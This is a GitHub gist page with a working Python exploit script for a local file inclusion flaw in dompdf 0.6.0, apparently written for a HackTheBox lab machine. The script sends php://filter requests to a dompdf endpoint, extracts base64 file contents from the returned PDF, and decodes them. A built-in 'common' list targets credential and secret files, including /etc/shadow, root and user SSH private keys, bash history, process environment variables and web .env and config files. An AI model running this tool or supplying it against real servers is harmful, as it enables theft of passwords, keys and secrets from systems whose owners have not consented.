Created
May 11, 2026 17:35
-
-
Save bloodstiller/6ca7ba4e28dc98f5d08871ddb5ebbfd9 to your computer and use it in GitHub Desktop.
dompdf 0.6.0 auto enumeration tool. For inception htb box
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| """ | |
| dompdf LFI File Reader | |
| ---------------------- | |
| Exploits php://filter base64 LFI via dompdf to read arbitrary files. | |
| Extracts and decodes the base64 payload directly from the PDF stream, | |
| bypassing dompdf's line-wrapping/truncation of rendered text. | |
| Usage: | |
| python3 dompdf_lfi.py -u http://target/dompdf.php -f /etc/passwd | |
| python3 dompdf_lfi.py -u http://target/dompdf.php -f /var/www/html/config.php | |
| python3 dompdf_lfi.py -u http://target/dompdf.php --list common | |
| """ | |
| import argparse | |
| import base64 | |
| import re | |
| import sys | |
| import requests | |
| from urllib.parse import quote | |
| # Suppress SSL warnings if needed | |
| requests.packages.urllib3.disable_warnings() | |
| # ------------------------------------------------------------------- | |
| # Common files worth enumerating on a pentest | |
| # ------------------------------------------------------------------- | |
| COMMON_FILES = [ | |
| "/root/.ssh/authorized_keys", | |
| "/etc/passwd", | |
| "/etc/shadow", | |
| "/etc/hostname", | |
| "/etc/hosts", | |
| "/etc/resolv.conf", | |
| "/etc/os-release", | |
| "/proc/self/environ", | |
| "/proc/self/cmdline", | |
| "/proc/version", | |
| "/var/www/html/index.php", | |
| "/var/www/html/config.php", | |
| "/var/www/html/.env", | |
| "/home/*/.ssh/id_rsa", | |
| "/root/.ssh/id_rsa", | |
| "/root/.bash_history", | |
| "/etc/apache2/sites-enabled/000-default.conf", | |
| "/etc/apache2/apache2.conf" | |
| ] | |
| def build_url(base_url: str, file_path: str) -> str: | |
| """Build the dompdf LFI URL for a given file path.""" | |
| filter_chain = f"php://filter/read=convert.base64-encode/resource={file_path}" | |
| return f"{base_url}?input_file={quote(filter_chain, safe='')}" | |
| def extract_base64_from_pdf(pdf_bytes: bytes) -> str | None: | |
| """ | |
| Extract the base64-encoded file content from the raw PDF stream. | |
| dompdf embeds the rendered text in PDF content streams. The base64 | |
| blob appears as a sequence of alphanumeric chars and +/= in the stream. | |
| We grab all such chunks and reassemble them. | |
| """ | |
| # Try to decode as latin-1 so we can regex over the raw PDF bytes | |
| try: | |
| pdf_text = pdf_bytes.decode("latin-1") | |
| except Exception: | |
| return None | |
| # Base64 blobs appear inside PDF BT...ET blocks as text strings | |
| # Pattern: one or more lines of base64 chars (A-Z a-z 0-9 + / =) | |
| chunks = re.findall(r"([A-Za-z0-9+/=]{20,})", pdf_text) | |
| if not chunks: | |
| return None | |
| # Concatenate all chunks and strip whitespace | |
| raw = "".join(chunks) | |
| # Validate it's actually decodable base64 | |
| # Pad to multiple of 4 if needed | |
| padding = (4 - len(raw) % 4) % 4 | |
| raw += "=" * padding | |
| try: | |
| base64.b64decode(raw, validate=True) | |
| return raw | |
| except Exception: | |
| # Try the largest single chunk | |
| for chunk in sorted(chunks, key=len, reverse=True): | |
| padding = (4 - len(chunk) % 4) % 4 | |
| candidate = chunk + "=" * padding | |
| try: | |
| base64.b64decode(candidate, validate=True) | |
| return candidate | |
| except Exception: | |
| continue | |
| return None | |
| def read_file(base_url: str, file_path: str, timeout: int = 10, verify_ssl: bool = False) -> str | None: | |
| """ | |
| Attempt to read a remote file via the dompdf LFI vulnerability. | |
| Returns the decoded file contents, or None on failure. | |
| """ | |
| url = build_url(base_url, file_path) | |
| try: | |
| resp = requests.get(url, timeout=timeout, verify=verify_ssl) | |
| except requests.exceptions.RequestException as e: | |
| print(f" [!] Request failed: {e}", file=sys.stderr) | |
| return None | |
| if resp.status_code != 200: | |
| print(f" [!] HTTP {resp.status_code} for {file_path}", file=sys.stderr) | |
| return None | |
| if b"%PDF" not in resp.content[:10]: | |
| print(f" [!] Response doesn't look like a PDF for {file_path}", file=sys.stderr) | |
| return None | |
| b64 = extract_base64_from_pdf(resp.content) | |
| if not b64: | |
| print(f" [!] Could not extract base64 from PDF for {file_path}", file=sys.stderr) | |
| return None | |
| try: | |
| decoded = base64.b64decode(b64).decode("utf-8", errors="replace") | |
| return decoded | |
| except Exception as e: | |
| print(f" [!] Base64 decode error: {e}", file=sys.stderr) | |
| return None | |
| def main(): | |
| parser = argparse.ArgumentParser( | |
| description="dompdf php://filter LFI file reader", | |
| formatter_class=argparse.RawDescriptionHelpFormatter, | |
| epilog=__doc__, | |
| ) | |
| parser.add_argument("-u", "--url", required=True, help="Base URL of dompdf endpoint (e.g. http://target/dompdf.php)") | |
| parser.add_argument("-f", "--file", help="File path to read (e.g. /etc/passwd)") | |
| parser.add_argument("--list", choices=["common"], help="Enumerate a preset list of files") | |
| parser.add_argument("--output", "-o", help="Write output to file instead of stdout") | |
| parser.add_argument("--timeout", type=int, default=10, help="Request timeout in seconds (default: 10)") | |
| parser.add_argument("-k", "--insecure", action="store_true", help="Disable SSL certificate verification") | |
| args = parser.parse_args() | |
| if not args.file and not args.list: | |
| parser.error("Specify --file or --list") | |
| base_url = args.url.rstrip("/") | |
| verify_ssl = not args.insecure | |
| results = {} | |
| files_to_read = [args.file] if args.file else COMMON_FILES | |
| for path in files_to_read: | |
| print(f"[*] Reading: {path}") | |
| content = read_file(base_url, path, timeout=args.timeout, verify_ssl=verify_ssl) | |
| if content: | |
| print(f"[+] Success ({len(content)} bytes)\n") | |
| print("-" * 60) | |
| print(content) | |
| print("-" * 60 + "\n") | |
| results[path] = content | |
| else: | |
| print(f"[-] Failed to read {path}\n") | |
| if args.output and results: | |
| with open(args.output, "w") as f: | |
| for path, content in results.items(): | |
| f.write(f"{'='*60}\n# {path}\n{'='*60}\n") | |
| f.write(content) | |
| f.write("\n\n") | |
| print(f"[+] Results saved to {args.output}") | |
| if __name__ == "__main__": | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment